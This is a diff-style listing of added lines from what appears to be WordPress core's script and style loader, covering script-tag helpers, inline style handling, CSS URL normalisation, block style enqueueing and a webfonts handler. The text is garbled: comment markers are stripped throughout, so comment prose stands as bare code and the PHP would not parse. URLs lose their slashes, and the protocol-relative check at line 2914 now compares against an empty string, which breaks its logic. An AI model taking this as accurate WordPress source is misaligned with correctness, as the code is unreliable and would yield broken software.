| 2708 | + | to $attributes_string for entries with a boolean value, and that are true. | |
| 2709 | + | foreach ( $attributes as $attribute_name => $attribute_value ) { | |
| 2710 | + | if ( is_bool( $attribute_value ) ) { | |
| 2711 | + | if ( $attribute_value ) { | |
| 2712 | + | $attributes_string .= $html5_script_support ? sprintf( ' %1$s="%2$s"', esc_attr( $attribute_name ), esc_attr( $attribute_name ) ) : ' ' . esc_attr( $attribute_name ); | |
| 2713 | + | } | |
| 2714 | + | } else { | |
| 2715 | + | $attributes_string .= sprintf( ' %1$s="%2$s"', esc_attr( $attribute_name ), esc_attr( $attribute_value ) ); | |
| 2716 | + | } | |
| 2717 | + | } | |
| 2718 | + | ||
| 2719 | + | return $attributes_string; | |
| 2720 | + | } | |
| 2721 | + | ||
| 2722 | + | * | |
| 2723 | + | * Formats `<script>` loader tags. | |
| 2724 | + | * | |
| 2725 | + | * It is possible to inject attributes in the `<script>` tag via the {@see 'wp_script_attributes'} filter. | |
| 2726 | + | * Automatically injects type attribute if needed. | |
| 2727 | + | * | |
| 2728 | + | * @since 5.7.0 | |
| 2729 | + | * | |
| 2730 | + | * @param array $attributes Key-value pairs representing `<script>` tag attributes. | |
| 2731 | + | * @return string String containing `<script>` opening and closing tags. | |
| 2732 | + | ||
| 2733 | + | function wp_get_script_tag( $attributes ) { | |
| 2734 | + | if ( ! isset( $attributes['type'] ) && ! is_admin() && ! current_theme_supports( 'html5', 'script' ) ) { | |
| 2735 | + | $attributes['type'] = 'text/javascript'; | |
| 2736 | + | } | |
| 2737 | + | * | |
| 2738 | + | * Filters attributes to be added to a script tag. | |
| 2739 | + | * | |
| 2740 | + | * @since 5.7.0 | |
| 2741 | + | * | |
| 2742 | + | * @param array $attributes Key-value pairs representing `<script>` tag attributes. | |
| 2743 | + | * Only the attribute name is added to the `<script>` tag for | |
| 2744 | + | * entries with a boolean value, and that are true. | |
| 2745 | + | ||
| 2746 | + | $attributes = apply_filters( 'wp_script_attributes', $attributes ); | |
| 2747 | + | ||
| 2748 | + | return sprintf( "<script%s></script>\n", wp_sanitize_script_attributes( $attributes ) ); | |
| 2749 | + | } | |
| 2750 | + | ||
| 2751 | + | * | |
| 2752 | + | * Prints formatted `<script>` loader tag. | |
| 2753 | + | * | |
| 2754 | + | * It is possible to inject attributes in the `<script>` tag via the {@see 'wp_script_attributes'} filter. | |
| 2755 | + | * Automatically injects type attribute if needed. | |
| 2756 | + | * | |
| 2757 | + | * @since 5.7.0 | |
| 2758 | + | * | |
| 2759 | + | * @param array $attributes Key-value pairs representing `<script>` tag attributes. | |
| 2760 | + | ||
| 2761 | + | function wp_print_script_tag( $attributes ) { | |
| 2762 | + | echo wp_get_script_tag( $attributes ); | |
| 2763 | + | } | |
| 2764 | + | ||
| 2765 | + | * | |
| 2766 | + | * Wraps inline JavaScript in `<script>` tag. | |
| 2767 | + | * | |
| 2768 | + | * It is possible to inject attributes in the `<script>` tag via the {@see 'wp_script_attributes'} filter. | |
| 2769 | + | * Automatically injects type attribute if needed. | |
| 2770 | + | * | |
| 2771 | + | * @since 5.7.0 | |
| 2772 | + | * | |
| 2773 | + | * @param string $javascript Inline JavaScript code. | |
| 2774 | + | * @param array $attributes Optional. Key-value pairs representing `<script>` tag attributes. | |
| 2775 | + | * @return string String containing inline JavaScript code wrapped around `<script>` tag. | |
| 2776 | + | ||
| 2777 | + | function wp_get_inline_script_tag( $javascript, $attributes = array() ) { | |
| 2778 | + | if ( ! isset( $attributes['type'] ) && ! is_admin() && ! current_theme_supports( 'html5', 'script' ) ) { | |
| 2779 | + | $attributes['type'] = 'text/javascript'; | |
| 2780 | + | } | |
| 2781 | + | * | |
| 2782 | + | * Filters attributes to be added to a script tag. | |
| 2783 | + | * | |
| 2784 | + | * @since 5.7.0 | |
| 2785 | + | * | |
| 2786 | + | * @param array $attributes Key-value pairs representing `<script>` tag attributes. | |
| 2787 | + | * Only the attribute name is added to the `<script>` tag for | |
| 2788 | + | * entries with a boolean value, and that are true. | |
| 2789 | + | * @param string $javascript Inline JavaScript code. | |
| 2790 | + | ||
| 2791 | + | $attributes = apply_filters( 'wp_inline_script_attributes', $attributes, $javascript ); | |
| 2792 | + | ||
| 2793 | + | $javascript = "\n" . trim( $javascript, "\n\r " ) . "\n"; | |
| 2794 | + | ||
| 2795 | + | return sprintf( "<script%s>%s</script>\n", wp_sanitize_script_attributes( $attributes ), $javascript ); | |
| 2796 | + | } | |
| 2797 | + | ||
| 2798 | + | * | |
| 2799 | + | * Prints inline JavaScript wrapped in `<script>` tag. | |
| 2800 | + | * | |
| 2801 | + | * It is possible to inject attributes in the `<script>` tag via the {@see 'wp_script_attributes'} filter. | |
| 2802 | + | * Automatically injects type attribute if needed. | |
| 2803 | + | * | |
| 2804 | + | * @since 5.7.0 | |
| 2805 | + | * | |
| 2806 | + | * @param string $javascript Inline JavaScript code. | |
| 2807 | + | * @param array $attributes Optional. Key-value pairs representing `<script>` tag attributes. | |
| 2808 | + | ||
| 2809 | + | function wp_print_inline_script_tag( $javascript, $attributes = array() ) { | |
| 2810 | + | echo wp_get_inline_script_tag( $javascript, $attributes ); | |
| 2811 | + | } | |
| 2812 | + | ||
| 2813 | + | * | |
| 2814 | + | * Allows small styles to be inlined. | |
| 2815 | + | * | |
| 2816 | + | * This improves performance and sustainability, and is opt-in. Stylesheets can opt in | |
| 2817 | + | * by adding `path` data using `wp_style_add_data`, and defining the file's absolute path: | |
| 2818 | + | * | |
| 2819 | + | * wp_style_add_data( $style_handle, 'path', $file_path ); | |
| 2820 | + | * | |
| 2821 | + | * @since 5.8.0 | |
| 2822 | + | * | |
| 2823 | + | * @global WP_Styles $wp_styles | |
| 2824 | + | ||
| 2825 | + | function wp_maybe_inline_styles() { | |
| 2826 | + | global $wp_styles; | |
| 2827 | + | ||
| 2828 | + | $total_inline_limit = 20000; | |
| 2829 | + | * | |
| 2830 | + | * The maximum size of inlined styles in bytes. | |
| 2831 | + | * | |
| 2832 | + | * @since 5.8.0 | |
| 2833 | + | * | |
| 2834 | + | * @param int $total_inline_limit The file-size threshold, in bytes. Default 20000. | |
| 2835 | + | ||
| 2836 | + | $total_inline_limit = apply_filters( 'styles_inline_size_limit', $total_inline_limit ); | |
| 2837 | + | ||
| 2838 | + | $styles = array(); | |
| 2839 | + | ||
| 2840 | + | Build an array of styles that have a path defined. | |
| 2841 | + | foreach ( $wp_styles->queue as $handle ) { | |
| 2842 | + | if ( wp_styles()->get_data( $handle, 'path' ) && file_exists( $wp_styles->registered[ $handle ]->extra['path'] ) ) { | |
| 2843 | + | $styles[] = array( | |
| 2844 | + | 'handle' => $handle, | |
| 2845 | + | 'src' => $wp_styles->registered[ $handle ]->src, | |
| 2846 | + | 'path' => $wp_styles->registered[ $handle ]->extra['path'], | |
| 2847 | + | 'size' => filesize( $wp_styles->registered[ $handle ]->extra['path'] ), | |
| 2848 | + | ); | |
| 2849 | + | } | |
| 2850 | + | } | |
| 2851 | + | ||
| 2852 | + | if ( ! empty( $styles ) ) { | |
| 2853 | + | Reorder styles array based on size. | |
| 2854 | + | usort( | |
| 2855 | + | $styles, | |
| 2856 | + | static function( $a, $b ) { | |
| 2857 | + | return ( $a['size'] <= $b['size'] ) ? -1 : 1; | |
| 2858 | + | } | |
| 2859 | + | ); | |
| 2860 | + | ||
| 2861 | + | ||
| 2862 | + | * The total inlined size. | |
| 2863 | + | * | |
| 2864 | + | * On each iteration of the loop, if a style gets added inline the value of this var increases | |
| 2865 | + | * to reflect the total size of inlined styles. | |
| 2866 | + | ||
| 2867 | + | $total_inline_size = 0; | |
| 2868 | + | ||
| 2869 | + | Loop styles. | |
| 2870 | + | foreach ( $styles as $style ) { | |
| 2871 | + | ||
| 2872 | + | Size check. Since styles are ordered by size, we can break the loop. | |
| 2873 | + | if ( $total_inline_size + $style['size'] > $total_inline_limit ) { | |
| 2874 | + | break; | |
| 2875 | + | } | |
| 2876 | + | ||
| 2877 | + | Get the styles if we don't already have them. | |
| 2878 | + | $style['css'] = file_get_contents( $style['path'] ); | |
| 2879 | + | ||
| 2880 | + | Check if the style contains relative URLs that need to be modified. | |
| 2881 | + | URLs relative to the stylesheet's path should be converted to relative to the site's root. | |
| 2882 | + | $style['css'] = _wp_normalize_relative_css_links( $style['css'], $style['src'] ); | |
| 2883 | + | ||
| 2884 | + | Set `src` to `false` and add styles inline. | |
| 2885 | + | $wp_styles->registered[ $style['handle'] ]->src = false; | |
| 2886 | + | if ( empty( $wp_styles->registered[ $style['handle'] ]->extra['after'] ) ) { | |
| 2887 | + | $wp_styles->registered[ $style['handle'] ]->extra['after'] = array(); | |
| 2888 | + | } | |
| 2889 | + | array_unshift( $wp_styles->registered[ $style['handle'] ]->extra['after'], $style['css'] ); | |
| 2890 | + | ||
| 2891 | + | Add the styles size to the $total_inline_size var. | |
| 2892 | + | $total_inline_size += (int) $style['size']; | |
| 2893 | + | } | |
| 2894 | + | } | |
| 2895 | + | } | |
| 2896 | + | ||
| 2897 | + | * | |
| 2898 | + | * Makes URLs relative to the WordPress installation. | |
| 2899 | + | * | |
| 2900 | + | * @since 5.9.0 | |
| 2901 | + | * @access private | |
| 2902 | + | * | |
| 2903 | + | * @param string $css The CSS to make URLs relative to the WordPress installation. | |
| 2904 | + | * @param string $stylesheet_url The URL to the stylesheet. | |
| 2905 | + | * | |
| 2906 | + | * @return string The CSS with URLs made relative to the WordPress installation. | |
| 2907 | + | ||
| 2908 | + | function _wp_normalize_relative_css_links( $css, $stylesheet_url ) { | |
| 2909 | + | $has_src_results = preg_match_all( '#url\s*\(\s*[\'"]?\s*([^\'"\)]+)#', $css, $src_results ); | |
| 2910 | + | if ( $has_src_results ) { | |
| 2911 | + | Loop through the URLs to find relative ones. | |
| 2912 | + | foreach ( $src_results[1] as $src_index => $src_result ) { | |
| 2913 | + | Skip if this is an absolute URL. | |
| 2914 | + | if ( 0 === strpos( $src_result, 'http' ) || 0 === strpos( $src_result, '' ) ) { | |
| 2915 | + | continue; | |
| 2916 | + | } | |
| 2917 | + | ||
| 2918 | + | Skip if the URL is an HTML ID. | |
| 2919 | + | if ( str_starts_with( $src_result, '#' ) ) { | |
| 2920 | + | continue; | |
| 2921 | + | } | |
| 2922 | + | ||
| 2923 | + | Skip if the URL is a data URI. | |
| 2924 | + | if ( str_starts_with( $src_result, 'data:' ) ) { | |
| 2925 | + | continue; | |
| 2926 | + | } | |
| 2927 | + | ||
| 2928 | + | Build the absolute URL. | |
| 2929 | + | $absolute_url = dirname( $stylesheet_url ) . '/' . $src_result; | |
| 2930 | + | $absolute_url = str_replace( '/./', '/', $absolute_url ); | |
| 2931 | + | Convert to URL related to the site root. | |
| 2932 | + | $relative_url = wp_make_link_relative( $absolute_url ); | |
| 2933 | + | ||
| 2934 | + | Replace the URL in the CSS. | |
| 2935 | + | $css = str_replace( | |
| 2936 | + | $src_results[0][ $src_index ], | |
| 2937 | + | str_replace( $src_result, $relative_url, $src_results[0][ $src_index ] ), | |
| 2938 | + | $css | |
| 2939 | + | ); | |
| 2940 | + | } | |
| 2941 | + | } | |
| 2942 | + | ||
| 2943 | + | return $css; | |
| 2944 | + | } | |
| 2945 | + | ||
| 2946 | + | * | |
| 2947 | + | * Function that enqueues the CSS Custom Properties coming from theme.json. | |
| 2948 | + | * | |
| 2949 | + | * @since 5.9.0 | |
| 2950 | + | ||
| 2951 | + | function wp_enqueue_global_styles_css_custom_properties() { | |
| 2952 | + | wp_register_style( 'global-styles-css-custom-properties', false, array(), true, true ); | |
| 2953 | + | wp_add_inline_style( 'global-styles-css-custom-properties', wp_get_global_stylesheet( array( 'variables' ) ) ); | |
| 2954 | + | wp_enqueue_style( 'global-styles-css-custom-properties' ); | |
| 2955 | + | } | |
| 2956 | + | ||
| 2957 | + | * | |
| 2958 | + | * Hooks inline styles in the proper place, depending on the active theme. | |
| 2959 | + | * | |
| 2960 | + | * @since 5.9.1 | |
| 2961 | + | * @since 6.1.0 Added the `$priority` parameter. | |
| 2962 | + | * | |
| 2963 | + | * For block themes, styles are loaded in the head. | |
| 2964 | + | * For classic ones, styles are loaded in the body because the wp_head action happens before render_block. | |
| 2965 | + | * | |
| 2966 | + | * @link https:core.trac.wordpress.org/ticket/53494. | |
| 2967 | + | * | |
| 2968 | + | * @param string $style String containing the CSS styles to be added. | |
| 2969 | + | * @param int $priority To set the priority for the add_action. | |
| 2970 | + | ||
| 2971 | + | function wp_enqueue_block_support_styles( $style, $priority = 10 ) { | |
| 2972 | + | $action_hook_name = 'wp_footer'; | |
| 2973 | + | if ( wp_is_block_theme() ) { | |
| 2974 | + | $action_hook_name = 'wp_head'; | |
| 2975 | + | } | |
| 2976 | + | add_action( | |
| 2977 | + | $action_hook_name, | |
| 2978 | + | static function () use ( $style ) { | |
| 2979 | + | echo "<style>$style</style>\n"; | |
| 2980 | + | }, | |
| 2981 | + | $priority | |
| 2982 | + | ); | |
| 2983 | + | } | |
| 2984 | + | ||
| 2985 | + | * | |
| 2986 | + | * Fetches, processes and compiles stored core styles, then combines and renders them to the page. | |
| 2987 | + | * Styles are stored via the style engine API. | |
| 2988 | + | * | |
| 2989 | + | * @link https:developer.wordpress.org/block-editor/reference-guides/packages/packages-style-engine/ | |
| 2990 | + | * | |
| 2991 | + | * @since 6.1.0 | |
| 2992 | + | * | |
| 2993 | + | * @param array $options { | |
| 2994 | + | * Optional. An array of options to pass to wp_style_engine_get_stylesheet_from_context(). Default empty array. | |
| 2995 | + | * | |
| 2996 | + | * @type bool $optimize Whether to optimize the CSS output, e.g., combine rules. Default is `false`. | |
| 2997 | + | * @type bool $prettify Whether to add new lines and indents to output. Default is the test of whether the global constant `SCRIPT_DEBUG` is defined. | |
| 2998 | + | * } | |
| 2999 | + | * | |
| 3000 | + | * @return void | |
| 3001 | + | ||
| 3002 | + | function wp_enqueue_stored_styles( $options = array() ) { | |
| 3003 | + | $is_block_theme = wp_is_block_theme(); | |
| 3004 | + | $is_classic_theme = ! $is_block_theme; | |
| 3005 | + | ||
| 3006 | + | ||
| 3007 | + | * For block themes, this function prints stored styles in the header. | |
| 3008 | + | * For classic themes, in the footer. | |
| 3009 | + | ||
| 3010 | + | if ( | |
| 3011 | + | ( $is_block_theme && doing_action( 'wp_footer' ) ) || | |
| 3012 | + | ( $is_classic_theme && doing_action( 'wp_enqueue_scripts' ) ) | |
| 3013 | + | ) { | |
| 3014 | + | return; | |
| 3015 | + | } | |
| 3016 | + | ||
| 3017 | + | $core_styles_keys = array( 'block-supports' ); | |
| 3018 | + | $compiled_core_stylesheet = ''; | |
| 3019 | + | $style_tag_id = 'core'; | |
| 3020 | + | Adds comment if code is prettified to identify core styles sections in debugging. | |
| 3021 | + | $should_prettify = isset( $options['prettify'] ) ? true === $options['prettify'] : defined( 'SCRIPT_DEBUG' ) && SCRIPT_DEBUG; | |
| 3022 | + | foreach ( $core_styles_keys as $style_key ) { | |
| 3023 | + | if ( $should_prettify ) { | |
| 3024 | + | $compiled_core_stylesheet .= "*\n * Core styles: $style_key\n \n"; | |
| 3025 | + | } | |
| 3026 | + | Chains core store ids to signify what the styles contain. | |
| 3027 | + | $style_tag_id .= '-' . $style_key; | |
| 3028 | + | $compiled_core_stylesheet .= wp_style_engine_get_stylesheet_from_context( $style_key, $options ); | |
| 3029 | + | } | |
| 3030 | + | ||
| 3031 | + | Combines Core styles. | |
| 3032 | + | if ( ! empty( $compiled_core_stylesheet ) ) { | |
| 3033 | + | wp_register_style( $style_tag_id, false, array(), true, true ); | |
| 3034 | + | wp_add_inline_style( $style_tag_id, $compiled_core_stylesheet ); | |
| 3035 | + | wp_enqueue_style( $style_tag_id ); | |
| 3036 | + | } | |
| 3037 | + | ||
| 3038 | + | Prints out any other stores registered by themes or otherwise. | |
| 3039 | + | $additional_stores = WP_Style_Engine_CSS_Rules_Store::get_stores(); | |
| 3040 | + | foreach ( array_keys( $additional_stores ) as $store_name ) { | |
| 3041 | + | if ( in_array( $store_name, $core_styles_keys, true ) ) { | |
| 3042 | + | continue; | |
| 3043 | + | } | |
| 3044 | + | $styles = wp_style_engine_get_stylesheet_from_context( $store_name, $options ); | |
| 3045 | + | if ( ! empty( $styles ) ) { | |
| 3046 | + | $key = "wp-style-engine-$store_name"; | |
| 3047 | + | wp_register_style( $key, false, array(), true, true ); | |
| 3048 | + | wp_add_inline_style( $key, $styles ); | |
| 3049 | + | wp_enqueue_style( $key ); | |
| 3050 | + | } | |
| 3051 | + | } | |
| 3052 | + | } | |
| 3053 | + | ||
| 3054 | + | * | |
| 3055 | + | * Enqueues a stylesheet for a specific block. | |
| 3056 | + | * | |
| 3057 | + | * If the theme has opted-in to separate-styles loading, | |
| 3058 | + | * then the stylesheet will be enqueued on-render, | |
| 3059 | + | * otherwise when the block inits. | |
| 3060 | + | * | |
| 3061 | + | * @since 5.9.0 | |
| 3062 | + | * | |
| 3063 | + | * @param string $block_name The block-name, including namespace. | |
| 3064 | + | * @param array $args An array of arguments [handle,src,deps,ver,media]. | |
| 3065 | + | ||
| 3066 | + | function wp_enqueue_block_style( $block_name, $args ) { | |
| 3067 | + | $args = wp_parse_args( | |
| 3068 | + | $args, | |
| 3069 | + | array( | |
| 3070 | + | 'handle' => '', | |
| 3071 | + | 'src' => '', | |
| 3072 | + | 'deps' => array(), | |
| 3073 | + | 'ver' => false, | |
| 3074 | + | 'media' => 'all', | |
| 3075 | + | ) | |
| 3076 | + | ); | |
| 3077 | + | ||
| 3078 | + | * | |
| 3079 | + | * Callback function to register and enqueue styles. | |
| 3080 | + | * | |
| 3081 | + | * @param string $content When the callback is used for the render_block filter, | |
| 3082 | + | * the content needs to be returned so the function parameter | |
| 3083 | + | * is to ensure the content exists. | |
| 3084 | + | * @return string Block content. | |
| 3085 | + | ||
| 3086 | + | $callback = static function( $content ) use ( $args ) { | |
| 3087 | + | Register the stylesheet. | |
| 3088 | + | if ( ! empty( $args['src'] ) ) { | |
| 3089 | + | wp_register_style( $args['handle'], $args['src'], $args['deps'], $args['ver'], $args['media'] ); | |
| 3090 | + | } | |
| 3091 | + | ||
| 3092 | + | Add `path` data if provided. | |
| 3093 | + | if ( isset( $args['path'] ) ) { | |
| 3094 | + | wp_style_add_data( $args['handle'], 'path', $args['path'] ); | |
| 3095 | + | ||
| 3096 | + | Get the RTL file path. | |
| 3097 | + | $rtl_file_path = str_replace( '.css', '-rtl.css', $args['path'] ); | |
| 3098 | + | ||
| 3099 | + | Add RTL stylesheet. | |
| 3100 | + | if ( file_exists( $rtl_file_path ) ) { | |
| 3101 | + | wp_style_add_data( $args['handle'], 'rtl', 'replace' ); | |
| 3102 | + | ||
| 3103 | + | if ( is_rtl() ) { | |
| 3104 | + | wp_style_add_data( $args['handle'], 'path', $rtl_file_path ); | |
| 3105 | + | } | |
| 3106 | + | } | |
| 3107 | + | } | |
| 3108 | + | ||
| 3109 | + | Enqueue the stylesheet. | |
| 3110 | + | wp_enqueue_style( $args['handle'] ); | |
| 3111 | + | ||
| 3112 | + | return $content; | |
| 3113 | + | }; | |
| 3114 | + | ||
| 3115 | + | $hook = did_action( 'wp_enqueue_scripts' ) ? 'wp_footer' : 'wp_enqueue_scripts'; | |
| 3116 | + | if ( wp_should_load_separate_core_block_assets() ) { | |
| 3117 | + | * | |
| 3118 | + | * Callback function to register and enqueue styles. | |
| 3119 | + | * | |
| 3120 | + | * @param string $content The block content. | |
| 3121 | + | * @param array $block The full block, including name and attributes. | |
| 3122 | + | * @return string Block content. | |
| 3123 | + | ||
| 3124 | + | $callback_separate = static function( $content, $block ) use ( $block_name, $callback ) { | |
| 3125 | + | if ( ! empty( $block['blockName'] ) && $block_name === $block['blockName'] ) { | |
| 3126 | + | return $callback( $content ); | |
| 3127 | + | } | |
| 3128 | + | return $content; | |
| 3129 | + | }; | |
| 3130 | + | ||
| 3131 | + | ||
| 3132 | + | * The filter's callback here is an anonymous function because | |
| 3133 | + | * using a named function in this case is not possible. | |
| 3134 | + | * | |
| 3135 | + | * The function cannot be unhooked, however, users are still able | |
| 3136 | + | * to dequeue the stylesheets registered/enqueued by the callback | |
| 3137 | + | * which is why in this case, using an anonymous function | |
| 3138 | + | * was deemed acceptable. | |
| 3139 | + | ||
| 3140 | + | add_filter( 'render_block', $callback_separate, 10, 2 ); | |
| 3141 | + | return; | |
| 3142 | + | } | |
| 3143 | + | ||
| 3144 | + | ||
| 3145 | + | * The filter's callback here is an anonymous function because | |
| 3146 | + | * using a named function in this case is not possible. | |
| 3147 | + | * | |
| 3148 | + | * The function cannot be unhooked, however, users are still able | |
| 3149 | + | * to dequeue the stylesheets registered/enqueued by the callback | |
| 3150 | + | * which is why in this case, using an anonymous function | |
| 3151 | + | * was deemed acceptable. | |
| 3152 | + | ||
| 3153 | + | add_filter( $hook, $callback ); | |
| 3154 | + | ||
| 3155 | + | Enqueue assets in the editor. | |
| 3156 | + | add_action( 'enqueue_block_assets', $callback ); | |
| 3157 | + | } | |
| 3158 | + | ||
| 3159 | + | * | |
| 3160 | + | * Runs the theme.json webfonts handler. | |
| 3161 | + | * | |
| 3162 | + | * Using `WP_Theme_JSON_Resolver`, it gets the fonts defined | |
| 3163 | + | * in the `theme.json` for the current selection and style | |
| 3164 | + | * variations, validates the font-face properties, generates | |
| 3165 | + | * the '@font-face' style declarations, and then enqueues the | |
| 3166 | + | * styles for both the editor and front-end. | |
| 3167 | + | * | |
| 3168 | + | * Design Notes: | |
| 3169 | + | * This is not a public API, but rather an internal handler. | |
| 3170 | + | * A future public Webfonts API will replace this stopgap code. | |
| 3171 | + | * | |
| 3172 | + | * This code design is intentional. | |
| 3173 | + | * a. It hides the inner-workings. | |
| 3174 | + | * b. It does not expose API ins or outs for consumption. | |
| 3175 | + | * c. It only works with a theme's `theme.json`. | |
| 3176 | + | * | |
| 3177 | + | * Why? | |
| 3178 | + | * a. To avoid backwards-compatibility issues when | |
| 3179 | + | * the Webfonts API is introduced in Core. | |
| 3180 | + | * b. To make `fontFace` declarations in `theme.json` work. | |
| 3181 | + | * | |
| 3182 | + | * @link https:github.com/WordPress/gutenberg/issues/40472 | |
| 3183 | + | * | |
| 3184 | + | * @since 6.0.0 | |
| 3185 | + | * @access private | |
| 3186 | + | ||
| 3187 | + | function _wp_theme_json_webfonts_handler() { | |
| 3188 | + | Block themes are unavailable during installation. | |
| 3189 | + | if ( wp_installing() ) { | |
| 3190 | + | return; | |
| 3191 | + | } | |
| 3192 | + | ||
| 3193 | + | Webfonts to be processed. | |
| 3194 | + | $registered_webfonts = array(); | |
| 3195 | + | ||
| 3196 | + | * | |
| 3197 | + | * Gets the webfonts from theme.json. | |
| 3198 | + | * | |
| 3199 | + | * @since 6.0.0 | |
| 3200 | + | * | |
| 3201 | + | * @return array Array of defined webfonts. | |
| 3202 | + | ||
| 3203 | + | $fn_get_webfonts_from_theme_json = static function() { | |
| 3204 | + | Get settings from theme.json. | |
| 3205 | + | $settings = WP_Theme_JSON_Resolver::get_merged_data()->get_settings(); | |
| 3206 | + | ||
| 3207 | + | If in the editor, add webfonts defined in variations. | |
| 3208 | + | if ( is_admin() || ( defined( 'REST_REQUEST' ) && REST_REQUEST ) ) { | |
| 3209 | + | $variations = WP_Theme_JSON_Resolver::get_style_variations(); | |
| 3210 | + | foreach ( $variations as $variation ) { | |
| 3211 | + | Skip if fontFamilies are not defined in the variation. | |
| 3212 | + | if ( empty( $variation['settings']['typography']['fontFamilies'] ) ) { | |
| 3213 | + | continue; | |
| 3214 | + | } | |
| 3215 | + | ||
| 3216 | + | Initialize the array structure. | |
| 3217 | + | if ( empty( $settings['typography'] ) ) { | |
| 3218 | + | $settings['typography'] = array(); | |
| 3219 | + | } | |
| 3220 | + | if ( empty( $settings['typography']['fontFamilies'] ) ) { | |
| 3221 | + | $settings['typography']['fontFamilies'] = array(); | |
| 3222 | + | } | |
| 3223 | + | if ( empty( $settings['typography']['fontFamilies']['theme'] ) ) { | |
| 3224 | + | $settings['typography']['fontFamilies']['theme'] = array(); | |
| 3225 | + | } | |
| 3226 | + | ||
| 3227 | + | Combine variations with settings. Remove duplicates. | |
| 3228 | + | $settings['typography']['fontFamilies']['theme'] = array_merge( $settings['typography']['fontFamilies']['theme'], $variation['settings']['typography']['fontFamilies']['theme'] ); | |
| 3229 | + | $settings['typography']['fontFamilies'] = array_unique( $settings['typography']['fontFamilies'] ); | |
| 3230 | + | } | |
| 3231 | + | } | |
| 3232 | + | ||
| 3233 | + | Bail out early if there are no settings for webfonts. | |
| 3234 | + | if ( empty( $settings['typography']['fontFamilies'] ) ) { | |
| 3235 | + | return array(); | |
| 3236 | + | } | |
| 3237 | + | ||
| 3238 | + | $webfonts = array(); | |
| 3239 | + | ||
| 3240 | + | Look for fontFamilies. | |
| 3241 | + | foreach ( $settings['typography']['fontFamilies'] as $font_families ) { | |
| 3242 | + | foreach ( $font_families as $font_family ) { | |
| 3243 | + | ||
| 3244 | + | Skip if fontFace is not defined. | |
| 3245 | + | if ( empty( $font_family['fontFace'] ) ) { | |
| 3246 | + | continue; | |
| 3247 | + | } | |
| 3248 | + | ||
| 3249 | + | Skip if fontFace is not an array of webfonts. | |
| 3250 | + | if ( ! is_array( $font_family['fontFace'] ) ) { | |
| 3251 | + | continue; | |
| 3252 | + | } | |
| 3253 | + | ||
| 3254 | + | $webfonts = array_merge( $webfonts, $font_family['fontFace'] ); | |
| 3255 | + | } | |
| 3256 | + | } | |
| 3257 | + | ||
| 3258 | + | return $webfonts; | |
| 3259 | + | }; | |
| 3260 | + | ||
| 3261 | + | * | |
| 3262 | + | * Transforms each 'src' into an URI by replacing 'file:./' | |
| 3263 | + | * placeholder from theme.json. | |
| 3264 | + | * | |
| 3265 | + | * The absolute path to the webfont file(s) cannot be defined in | |
| 3266 | + | * theme.json. `file:./` is the placeholder which is replaced by | |
| 3267 | + | * the theme's URL path to the theme's root. | |
| 3268 | + | * | |
| 3269 | + | * @since 6.0.0 | |
| 3270 | + | * | |
| 3271 | + | * @param array $src Webfont file(s) `src`. | |
| 3272 | + | * @return array Webfont's `src` in URI. | |
| 3273 | + | ||
| 3274 | + | $fn_transform_src_into_uri = static function( array $src ) { | |
| 3275 | + | foreach ( $src as $key => $url ) { | |
| 3276 | + | Tweak the URL to be relative to the theme root. | |
| 3277 | + | if ( ! str_starts_with( $url, 'file:./' ) ) { | |
| 3278 | + | continue; | |
| 3279 | + | } | |
| 3280 | + | ||
| 3281 | + | $src[ $key ] = get_theme_file_uri( str_replace( 'file:./', '', $url ) ); | |
| 3282 | + | } | |
| 3283 | + | ||
| 3284 | + | return $src; | |
| 3285 | + | }; | |
| 3286 | + | ||
| 3287 | + | * | |
| 3288 | + | * Converts the font-face properties (i.e. keys) into kebab-case. | |
| 3289 | + | * | |
| 3290 | + | * @since 6.0.0 | |
| 3291 | + | * | |
| 3292 | + | * @param array $font_face Font face to convert. | |
| 3293 | + | * @return array Font faces with each property in kebab-case format. | |
| 3294 | + | ||
| 3295 | + | $fn_convert_keys_to_kebab_case = static function( array $font_face ) { | |
| 3296 | + | foreach ( $font_face as $property => $value ) { | |
| 3297 | + | $kebab_case = _wp_to_kebab_case( $property ); | |
| 3298 | + | $font_face[ $kebab_case ] = $value; | |
| 3299 | + | if ( $kebab_case !== $property ) { | |
| 3300 | + | unset( $font_face[ $property ] ); | |
| 3301 | + | } | |
| 3302 | + | } | |
| 3303 | + | ||
| 3304 | + | return $font_face; | |
| 3305 | + | }; | |
| 3306 | + | ||
| 3307 | + | * | |
| 3308 | + | * Validates a webfont. | |
| 3309 | + | * | |
| 3310 | + | * @since 6.0.0 | |
| 3311 | + | * | |
| 3312 | + | * @param array $webfont The webfont arguments. | |
| 3313 | + | * @return array|false The validated webfont arguments, or false if the webfont is invalid. | |
| 3314 | + | ||
| 3315 | + | $fn_validate_webfont = static function( $webfont ) { | |
| 3316 | + | $webfont = wp_parse_args( | |
| 3317 | + | $webfont, | |
| 3318 | + | array( | |
| 3319 | + | 'font-family' => '', | |
| 3320 | + | 'font-style' => 'normal', | |
| 3321 | + | 'font-weight' => '400', | |
| 3322 | + | 'font-display' => 'fallback', | |
| 3323 | + | 'src' => array(), | |
| 3324 | + | ) | |
| 3325 | + | ); | |
| 3326 | + | ||
| 3327 | + | Check the font-family. | |
| 3328 | + | if ( empty( $webfont['font-family'] ) || ! is_string( $webfont['font-family'] ) ) { | |
| 3329 | + | trigger_error( __( 'Webfont font family must be a non-empty string.' ) ); | |
| 3330 | + | ||
| 3331 | + | return false; | |
| 3332 | + | } | |
| 3333 | + | ||
| 3334 | + | Check that the `src` property is defined and a valid type. | |
| 3335 | + | if ( empty( $webfont['src'] ) || ( ! is_string( $webfont['src'] ) && ! is_array( $webfont['src'] ) ) ) { | |
| 3336 | + | trigger_error( __( 'Webfont src must be a non-empty string or an array of strings.' ) ); | |
| 3337 | + | ||
| 3338 | + | return false; | |
| 3339 | + | } | |
| 3340 | + | ||
| 3341 | + | Validate the `src` property. | |
| 3342 | + | foreach ( (array) $webfont['src'] as $src ) { | |
| 3343 | + | if ( ! is_string( $src ) || '' === trim( $src ) ) { | |
| 3344 | + | trigger_error( __( 'Each webfont src must be a non-empty string.' ) ); | |
| 3345 | + | ||
| 3346 | + | return false; | |
| 3347 | + | } | |
| 3348 | + | } | |
| 3349 | + | ||
| 3350 | + | Check the font-weight. | |
| 3351 | + | if ( ! is_string( $webfont['font-weight'] ) && ! is_int( $webfont['font-weight'] ) ) { | |
| 3352 | + | trigger_error( __( 'Webfont font weight must be a properly formatted string or integer.' ) ); | |
| 3353 | + | ||
| 3354 | + | return false; | |
| 3355 | + | } | |
| 3356 | + | ||
| 3357 | + | Check the font-display. | |
